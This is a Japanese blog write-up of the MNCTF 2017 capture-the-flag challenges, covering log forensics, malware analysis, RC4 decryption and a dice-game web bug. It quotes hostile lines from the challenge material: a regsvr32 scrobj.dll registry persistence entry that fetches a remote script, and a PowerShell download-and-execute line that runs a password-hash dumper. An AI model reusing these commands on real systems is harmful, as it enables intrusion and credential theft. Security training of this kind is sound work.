st98 の日記帳


[ctf] MNCTF 2017 の write-up

Macnica Networks DAY 2017 で開催された MNCTF 2017 がオンラインでも楽しめるようになったということで挑戦してみました。

全完できたので write-up を書いてみます。

[MISC 1] 練習問題

問題文をコピペ。

MNCTF

[MISC 60] 昇進試験

Linux のコマンドのクロスワードを埋める問題でした。

タテのカギ

ヨコのカギ

全て埋めるとフラグが表示されました。

         p
chmod    s
a   i    t
l   factor
    f o  e
   t  l  e
   o  u   
  uptime  
      n   
f148052f5b4eea45dd395d6f45fb19ea

[NETWORK 80] 通信記録

pcap ファイルが与えられるので、解析して突かれた脆弱性の名前を答えるという問題でした。

www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com の名前解決をしている通信があったことから、WannaCry に感染した様子をキャプチャしたものと考えました。

MS17-010CVE-2017-0144 を試したものの通らず、EternalBlue を試したところ正解でした。

EternalBlue

[MALWARE 80] 不審起動

以下のような不審なレジストリが見つかったので、これによって実行されるスクリプトを解析して通信先の FQDN を答えるという問題でした。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

とりあえず https://pastebin.com/raw/8CUEUgix にアクセスすると、難読化された JScript のスクリプトがありました。

        url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
        showexec = 0x0;
        wshel = new ActiveXObject(_0xd5bd('0x1b'));
        fso = new ActiveXObject(_0xd5bd('0x1c'));
        if (is_ps_installed() && is_dotnet_installed()) {
            wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec);
        }

url をデコードすると 'https://mtip.macnica.net' という文字列が出てきました。

mtip.macnica.net

[MISC 90] 脅迫文書

http://nzxj65x32v
h2fkhk.onion/phcg
nxm6j/4xvucf

0b3y!!

と書かれたメモの画像が与えられました。

URL の TLD が onion なので Tor Browser や Tor2web でアクセスし、0b3y!! をパスワードとして入力するとフラグが表示されました。

TORPASTEBIN

[FORENSICS 100] 攻撃痕跡

artifact.zip (攻撃者が残したファイル)、EDR_LOG.csv (ログ) が与えられるので、これを解析して盗まれたファイルの中で最も重要なファイルの名前を答えるという問題でした。

Get-PassHashes.ps1 という名前が明らかに怪しいファイルがあったので EDR_LOG.csvgrep で探したところ、以下のようなログが見つかりました。

$ grep Get-PassHashes.ps1 EDR_LOG.csv
06/27/2017 21:05:53.234,13Kamakura,LOCAL SYSTEM,45632,11332,Powershell.exe  IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes ,92f44e405db16ac55d97e3bfe3b132fa

この前後を見てみると以下のようなログがありました。

06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:\Program Files (x86)\\Tencent\\RTXC\Plugins\bizmailclient\sqlite.exe""  a -m5 -hpFnckyou123 ""C:\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f
06/27/2017 21:12:47.139,13Kamakura,LOCAL SYSTEM,45632,36473,"""C:\Program Files (x86)\\Tencent\\RTXC\Plugins\\bizmailclient\\sqlite.exe""  a -m5 -hpFnckyou123 ""C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dat"" c:\windows\temp\*.log ",8babc98395f0d8fc0968982237b1bc8f

SQLite…? jvm.dat がどのようなファイルか調べてみましょう。

$ file jvm.dat
jvm.dat: RAR archive data, vac,

rar のようです。sqlite.exe のハッシュ値を検索したところ、どうやらこれは WinRAR を偽装したものらしいと分かりました。

sqlite.exe のオプションに書かれているパスワードを使って jvm.dat を展開すると、2017want.xlsx MpCmdRun.log MpSigStub.log serverpassword.xlsx の 4 つのファイルが出てきました。

serverpassword

[CRYPTO 100] 宛先暗号

svchost.exe (マルウェア本体)、vm.datEDR_log.csv (ログ) の 3 つのファイルが与えられるので、このマルウェアの通信先の FQDN を特定するという問題でした。

svchost.exestrings に投げると Must specify <RC4 key> <file>! という文字列が見つかりました。

EDR_log.csvvm.datgrep すると以下のようなログが見つかりました。

$ grep vm.dat EDR_log.csv
06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe  abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168

abcd を鍵として vm.dat の内容を RC4 で復号してみましょう。

$ python2
...
>>> RC4('a5012e2ce822402b20f45b5564'.decode('hex'), 'abcd')
'shinobot.com\n'
shinobot.com

[PROGRAMMING 100] 情報照合

ファイルのハッシュを送るとマルウェアの判定をしてくれるサービスの API のリファレンスとハッシュのリストが与えられるので、RAT.A.aa74e と判定されるハッシュを見つけるという問題でした。

import requests

KEY = '578459a056231ac6745fcb53e3304b3043bb7c9448863e84652764592d15b3d1'
def get_token(key):
  r = requests.post('http://mnctf.info/mnctf2017/task/intel/gettoken/', data={
    'key': key
  })
  return r.json()

def query(hash, token):
  r = requests.post('http://mnctf.info/mnctf2017/task/intel/query/', headers={
    'X-TOKEN': token
  }, data={
    'hash': hash
  })
  return r.json()

with open('minhashlist.txt', 'r') as f:
  hashes = f.read()

token = get_token(KEY)['token']
for hash in hashes.splitlines():
  res = query(hash, token)

  if res['auth'] != 'success':
    token = get_token(KEY)['token']
    res = query(hash, token)

  if res['detection_name'] == 'RAT.A.aa74e':
    print hash
eef6b47cc2c1fbfbdbcb90f6376416

[WEB 100] 賭博遊戯

サイコロの出目を当てるカジノゲームで、所持金が 37337 になるようにするという問題でした。

掛け金は 1 ~ 20 BTC の中から選べるようですが、<select id="bet"><input type="text" id="bet"> に変えることで任意の数値にできるようです。

負数も例外ではなく、-37337 に変えてわざと負けると持ち金を 37337 BTC 増やすことができました。

140872501

[EXPLOIT 100] 脆弱会話

Feuder.exe (サーバ)、Feuder.cpp (ソース)、exploit.py (未完成のエクスプロイト)、send_pattern.py (これ) が与えられるので、exploit.py を完成させてバッファの先頭からリターンアドレスの先頭までの距離を答えるという問題でした。

OllyDbg で Feuder.exe を走らせ、send_pattern.py を実行してクラッシュさせ、eip の値からオフセットを計算するとフラグが得られました。

1020
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳